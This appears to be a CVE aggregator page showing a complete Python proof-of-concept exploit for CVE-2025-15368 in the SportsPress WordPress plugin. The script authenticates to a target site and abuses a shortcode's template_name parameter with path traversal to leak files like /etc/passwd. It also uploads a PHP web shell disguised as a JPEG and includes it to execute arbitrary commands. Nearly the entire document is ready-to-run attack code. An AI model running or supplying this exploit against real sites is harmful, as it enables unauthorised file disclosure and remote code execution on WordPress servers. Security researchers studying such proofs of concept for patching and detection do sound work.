4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-15368_Exploit.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
CVE-2025-15368 Exploit Tool - SportsPress <= 2.7.26
Local File Inclusion (LFI) to Remote Code Execution (RCE)

Author: kazehere4you
Date: 2026-02-11
"""

import requests
import argparse
import re
import sys
import random
import string
import time
from urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Colors for terminal output
class Colors:
    HEADER = '\033[95m'
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    
    @staticmethod
    def print_success(msg):
        print(f"{Colors.GREEN}[+] {msg}{Colors.ENDC}")

    @staticmethod
    def print_error(msg):
        print(f"{Colors.FAIL}[-] {msg}{Colors.ENDC}")

    @staticmethod
    def print_info(msg):
        print(f"{Colors.BLUE}[*] {msg}{Colors.ENDC}")
        
    @staticmethod
    def print_warning(msg):
        print(f"{Colors.WARNING}[!] {msg}{Colors.ENDC}")

def print_banner():
    banner = f"""{Colors.BLUE}{Colors.BOLD}
    ╔═══════════════════════════════════════════════════════════════╗
    ║                 CVE-2025-15368 Exploit Tool                   ║
    ║             SportsPress Plugin <= 2.7.26 - LFI & RCE          ║
    ║                                                               ║
    ║                   Coded by: kazehere4you                      ║
    ╚═══════════════════════════════════════════════════════════════╝
    {Colors.ENDC}"""
    print(banner)

class SportsPressExploit:
    def __init__(self, url, username, password):
        self.url = url.rstrip('/')
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
        })

    def login(self):
        Colors.print_info(f"Authenticating as user: {self.username}...")
        login_url = f"{self.url}/wp-login.php"
        
        try:
            # Get initial cookies and nonce
            r = self.session.get(login_url)
            
            data = {
                'log': self.username,
                'pwd': self.password,
                'wp-submit': 'Log In',
                'redirect_to': f"{self.url}/wp-admin/",
                'testcookie': '1'
            }
            
            r = self.session.post(login_url, data=data)
            
            if 'wp-admin' in r.url or 'wordpress_logged_in' in r.cookies.keys() or any('wordpress_logged_in' in c.name for c in self.session.cookies):
                Colors.print_success("Login successful!")
                return True
            
            Colors.print_error("Login failed. Check credentials.")
            return False
            
        except requests.exceptions.RequestException as e:
            Colors.print_error(f"Connection error: {e}")
            return False

    def get_nonce(self, page='post-new.php'):
        try:
            r = self.session.get(f"{self.url}/wp-admin/{page}")
            if 'wp-login.php' in r.url:
                Colors.print_warning("Session expired or redirected to login.")
                return None, None

            # Try to find nonce
            nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
            if nonce_match:
                return nonce_match.group(1), r
            
            # Fallback for upload page (sometimes inside JSON)
            nonce_match = re.search(r'"multipart_params":.*"nonces":{"create":"([a-f0-9]+)"', r.text)
            if nonce_match:
                return nonce_match.group(1), r
                
            return None, r
        except Exception as e:
            Colors.print_error(f"Error fetching nonce: {e}")
            return None, None

    def trigger_lfi(self, file_path):
        # We know [event_list] works from research
        # Traversal logic: try varying depths
        shortcode_name = 'event_list'
        
        Colors.print_info(f"Attempting LFI for: {file_path}")
        
        # Helper to create draft and preview
        def try_path(path):
            traversal = "../" * 4 # Default standard depth
            # But specific depth might be needed. The calling function handles the paths.
            
            shortcode = f'[{shortcode_name} template_name="{path}"]'
            
            wp_nonce, r_page = self.get_nonce('post-new.php')
            if not wp_nonce:
                Colors.print_error("Could not retrieve nonce.")
                return None

            user_id = "1"
            match = re.search(r'"user_id":(\d+)', r_page.text)
            if match: user_id = match.group(1)
            
            post_id = ""
            match = re.search(r"post_ID' value='(\d+)'", r_page.text)
            if match: post_id = match.group(1)

            post_data = {
                'post_title': f'Exploit Draft {random.randint(1000,9999)}',
                'content': shortcode,
                'post_status': 'draft',
                'post_type': 'post',
                '_wpnonce': wp_nonce,
                'user_ID': user_id,
                'action': 'editpost',
                'post_ID': post_id
            }
            
            # Save draft
            self.session.post(f"{self.url}/wp-admin/post.php", data=post_data)
            
            # Preview path
            preview_url = f"{self.url}/?p={post_id}&preview=true"
            r = self.session.get(preview_url)
            
            return r.text

        # 1. Try passing the path directly (assuming caller provided traversal)
        result = try_path(file_path)
        return result

    def chain_lfi(self, target_file="/etc/passwd"):
        print(f"{Colors.HEADER}--- Starting LFI Attack Chain ---{Colors.ENDC}")
        Colors.print_info(f"Target File: {target_file}")
        Colors.print_warning("Note: wrapper 'php://filter' is blocked by file_exists() check.")
        
        # Generate varied depths
        depths = range(3, 8)
        found = False
        
        for d in depths:
            path = ("../" * d) + target_file.lstrip('/')
            Colors.print_info(f"Trying traversal depth {d}: {path}")
            
            content = self.trigger_lfi(path)
            
            if content:
                # Check for common file signatures
                if "root:x:0:0:" in content or "[mysqld]" in content or "<?php" in content:
                    Colors.print_success(f"File leaked successfully at depth {d}!")
                    
                    # Clean output (Naive extraction)
                    # Often the content is embedded in the page.
                    # For /etc/passwd:
                    match = re.search(r'(root:x:0:0:.*)', content, re.DOTALL)
                    if match:
                        print("\n" + f"{Colors.GREEN}{match.group(0)[:500]}...{Colors.ENDC}" + "\n")
                    else:
                        # Just print a chunk if we can't parse neatly
                        print(f"\n{Colors.GREEN}[raw content snippet]{Colors.ENDC}")
                        print(content[:1000]) # First 1000 chars
                        
                    found = True
                    break
        
        if not found:
            Colors.print_error("Failed to leak file. It might not exist or permissions denied.")

    def chain_rce(self, check_cmd="id"):
        print(f"{Colors.HEADER}--- Starting RCE Attack Chain ---{Colors.ENDC}")
        Colors.print_info("Requirement: Authenticated user with 'upload_files' capability (Author+)")
        
        # 1. Generate Payload
        Colors.print_info("Generating malicious image payload...")
        # A valid JPEG header followed by PHP payload
        payload = b'\xFF\xD8\xFF\xE0' + b'<?php system($_GET["cmd"]);die(); ?>' + b'\xFF\xD9'
        filename = f"image_{random.randint(1000,9999)}.jpg"
        
        files = {
            'async-upload': (filename, payload, 'image/jpeg')
        }
        
        # 2. Get Upload Nonce
        # media-new.php usually contains the nonce we need
        wp_nonce, _ = self.get_nonce('media-new.php')
        if not wp_nonce:
            # Fallback to upload.php
            wp_nonce, _ = self.get_nonce('upload.php')
            
        if not wp_nonce:
            Colors.print_error("Failed to retrieve upload nonce. Check user permissions.")
            return

        upload_url = f"{self.url}/wp-admin/async-upload.php"
        data = {
            'name': filename,
            'action': 'upload-attachment',
            '_wpnonce': wp_nonce
        }
        
        # 3. Upload File
        Colors.print_info("Uploading payload...")
        r = self.session.post(upload_url, files=files, data=data)
        
        file_url = None
        if 'id' in r.text and 'success' in r.text:
            try:
                resp = r.json()
                if resp.get('success'):
                    file_url = resp['data']['url']
                    Colors.print_success(f"Upload successful: {file_url}")
            except:
                pass
        
        if not file_url:
            Colors.print_error("Upload failed.")
            Colors.print_info(f"Server response logic: {r.text[:200]}")
            return

        # 4. Extract Relative Path for LFI
        # URL: http://site.com/wp-content/uploads/2025/02/file.jpg
        # Path: wp-content/uploads/2025/02/file.jpg
        try:
            if 'wp-content' in file_url:
                rel_path = 'wp-content' + file_url.split('wp-content')[1]
            else:
                Colors.print_error("Could not parse relative path from URL.")
                return
        except:
            Colors.print_error("Path parsing error.")
            return
            
        Colors.print_info(f"Relative path for LFI: {rel_path}")
        
        # 5. Trigger LFI to execute RCE
        Colors.print_info(f"Triggering RCE with command: {check_cmd}")
        
        # Traversal to reach root, then down to wp-content
        # Usually ../../../ or ../../../../ depending on plugin structure.
        # Plugin is in wp-content/plugins/sportspress/templates/
        # So:
        # ../ -> plugins/sportspress/
        # ../../ -> plugins/
        # ../../../ -> wp-content/
        # ../../../../ -> root/
        
        # We need to go to root, then append rel_path (which starts with wp-content)
        # So ../../../../ + wp-content/...
        
        traversal_path = "../../../../" + rel_path
        
        # To pass arguments to the included file via LFI in this context is tricky.
        # HOWEVER, since we are doing a GET request to the PREVIEW page, 
        # $_GET['cmd'] global variable WILL be available to the included file!
        
        # Create Post Draft
        shortcode_name = 'event_list'
        shortcode = f'[{shortcode_name} template_name="{traversal_path}"]'
        
        wp_nonce, r_page = self.get_nonce('post-new.php')
        if not wp_nonce: return

        match = re.search(r"post_ID' value='(\d+)'", r_page.text)
        post_id = match.group(1) if match else ""

        post_data = {
            'post_title': 'RCE Exploit',
            'content': shortcode,
            'post_status': 'draft',
            'post_type': 'post',
            '_wpnonce': wp_nonce,
            'user_ID': '1',
            'action': 'editpost',
            'post_ID': post_id
        }
        
        self.session.post(f"{self.url}/wp-admin/post.php", data=post_data)
        
        # 6. Execute
        exploit_url = f"{self.url}/?p={post_id}&preview=true&cmd={check_cmd}"
        Colors.print_info(f"Sending payload request: {exploit_url}")
        
        r = self.session.get(exploit_url)
        
        # 7. Check output
        # Look for command output (uid=33(www-data)...)
        # or simplified check if we used die()
        
        if r.status_code == 200:
            # Try to grab content before the HTML mess if die() worked, 
            # otherwise regex for common output
            content = r.text
            
            # Simple heuristic for 'id' command or similar
            if "uid=" in content or "gid=" in content or "Windows" in content:
                Colors.print_success("RCE Confirmed!")
                print(f"\n{Colors.GREEN}[+] Command Output:{Colors.ENDC}\n")
                
                # Try to extract just the output (assuming it's at the start or distinct)
                # Since we added die(), it should be at the very top of where the shortcode renders
                # accessing standard output:
                # But WordPress wrapper HTML might surround it.
                # Let's clean it up slightly
                clean_output = re.sub(r'<[^>]+>', '', content).strip()
                # Just show first 5 lines
                lines = clean_output.splitlines()
                for line in lines[:10]:
                    if line.strip(): print(line)
            else:
                Colors.print_warning("Command executed but no obvious output found. Inspect response manually.")
                # print(content[:500])
        else:
            Colors.print_error(f"Failed to trigger LFI. Status: {r.status_code}")


def main():
    print_banner()
    
    parser = argparse.ArgumentParser(description='SportsPress Exploit CLI')
    parser.add_argument('-u', '--url', required=True, help='Target WordPress URL (e.g. http://localhost:8080)')
    parser.add_argument('-user', '--username', required=True, help='WordPress Username (Contributor+)')
    parser.add_argument('-p', '--password', required=True, help='WordPress Password')
    parser.add_argument('--lfi', help='File to leak (default: /etc/passwd)', const='/etc/passwd', nargs='?')
    parser.add_argument('--rce', help='Command to execute (default: id)', const='id', nargs='?')
    
    args = parser.parse_args()
    
    if not args.lfi and not args.rce:
        Colors.print_error("Please select an attack mode: --lfi [file] or --rce [cmd]")
        return

    exploit = SportsPressExploit(args.url, args.username, args.password)
    
    if exploit.login():
        if args.lfi:
            exploit.chain_lfi(args.lfi)
        
        if args.rce:
            exploit.chain_rce(args.rce)

if __name__ == "__main__":
    main()